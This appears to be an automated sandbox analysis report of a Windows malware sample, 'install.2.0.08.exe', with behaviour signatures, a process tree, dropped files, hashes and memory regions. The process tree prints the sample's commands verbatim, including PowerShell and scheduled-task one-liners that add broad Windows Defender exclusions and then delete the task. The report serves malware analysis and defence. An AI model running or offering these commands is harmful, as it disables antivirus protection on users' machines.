Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 04:16

General

  • Target
    install.2.0.08.exe
  • Size 30.5MB
  • Sample261024-evy7cssvat
  • SHA256 302170ca07dcc26a9f47d42db26e19f1709c2d5f11c50d8bf032f861c96ea4dd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4704
  • C:\Users\Public\KUGEJ0\i8dImB.exe
    "C:\Users\Public\KUGEJ0\i8dImB.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3760
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KUGEJ0\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1344
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KUGEJ0\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5684
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2960
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5400
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4572
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2376
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5336
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1512
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2612
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2500
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3236
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1496
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2936
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4780
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5708
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:904
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2184
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4400
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5952
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1140
                      • C:\Users\Public\KUGEJ0\i8dImB.exe
                        "C:\Users\Public\KUGEJ0\i8dImB.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3120
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KUGEJ0" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4880
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KUGEJ0" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:6060
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1260
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1760
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1052
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1908
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6072

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 1ff9e263f9a381ebb85f75e5cb369538db6c0d0bde320f28ae2f91ff328f4f67
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 43d87476d65e9db11ad99120a081aaf70b9eafa8668e72237b95edd120a1f686
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 60ecbff9bad8969a88aaefe1c9d190389770689a77cf5b914f9df4e0f9e050a4
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_xge4hgbi.zak.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xge4hgbi.zak.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\KUGEJ0\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 612a5ac4b1db18c714684942ef8f5373a6d8e5e695139e1850f2309b04485da5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\KUGEJ0\adoresd.dat
                              • Size 4.8MB
                              • SHA256 b16d194bff792ff28881e59ec9450201599aaf0502761791937f5f7863a704a7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              i8dImB.exe

                              • Path C:\Users\Public\KUGEJ0\i8dImB.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\KUGEJ0\msadox.tb
                              • Size 8KB
                              • SHA256 92f10e5c56eb1f365159852a1882cb501e6ecd6a2b03efc10a9bc0446f4e7153
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3120-587-0x000001CBB24E0000-0x000001CBB2DB7000-memory.dmp

                              memory/3120-582-0x00007FFC2DCC0000-0x00007FFC2DCC2000-memory.dmp

                              memory/3120-576-0x000001CBB24E0000-0x000001CBB2DB7000-memory.dmp

                              memory/3120-591-0x00007FFC2DCB0000-0x00007FFC2DCB2000-memory.dmp

                              memory/3120-590-0x000001CBB24E0000-0x000001CBB2DB7000-memory.dmp

                              memory/3120-572-0x00007FFC0B060000-0x00007FFC0B57E000-memory.dmp

                              memory/3120-588-0x000001CBB24E0000-0x000001CBB2DB7000-memory.dmp

                              memory/3120-583-0x000001CBB24E0000-0x000001CBB2DB7000-memory.dmp

                              memory/3120-589-0x000001CBB24E0000-0x000001CBB2DB7000-memory.dmp

                              memory/3760-607-0x00000199D8AA0000-0x00000199D8AAA000-memory.dmp

                              memory/3760-597-0x00000199D8A30000-0x00000199D8A52000-memory.dmp

                              memory/3760-603-0x00000199D8A80000-0x00000199D8A9E000-memory.dmp

                              memory/3760-604-0x00000199D8D20000-0x00000199D8DD2000-memory.dmp

                              memory/4704-1-0x0000000002720000-0x000000000272E000-memory.dmp

                              memory/4704-2-0x0000000002730000-0x000000000273C000-memory.dmp

                              memory/4704-0-0x0000000002720000-0x000000000272E000-memory.dmp

                              memory/4704-504-0x00007FFC21EA0000-0x00007FFC21EB2000-memory.dmp

                              memory/4704-524-0x0000000002720000-0x000000000272E000-memory.dmp

                              memory/4704-525-0x00007FFC21EA0000-0x00007FFC21EB2000-memory.dmp

                              memory/5596-544-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-566-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-564-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-556-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-558-0x0000022E5DE00000-0x0000022E5DE4E000-memory.dmp

                              memory/5596-559-0x0000022E5DEE0000-0x0000022E5DF6A000-memory.dmp

                              memory/5596-560-0x0000022E5DEE0000-0x0000022E5DF6A000-memory.dmp

                              memory/5596-561-0x0000022E5DEE0000-0x0000022E5DF6A000-memory.dmp

                              memory/5596-562-0x0000022E5DEE0000-0x0000022E5DF6A000-memory.dmp

                              memory/5596-550-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-531-0x00007FFC0B060000-0x00007FFC0B57E000-memory.dmp

                              memory/5596-546-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-545-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-543-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-539-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-538-0x00007FFC2DCC0000-0x00007FFC2DCC2000-memory.dmp

                              memory/5596-536-0x0000022E5D010000-0x0000022E5D8E7000-memory.dmp

                              memory/5596-530-0x00007FFC2DCB0000-0x00007FFC2DCB2000-memory.dmp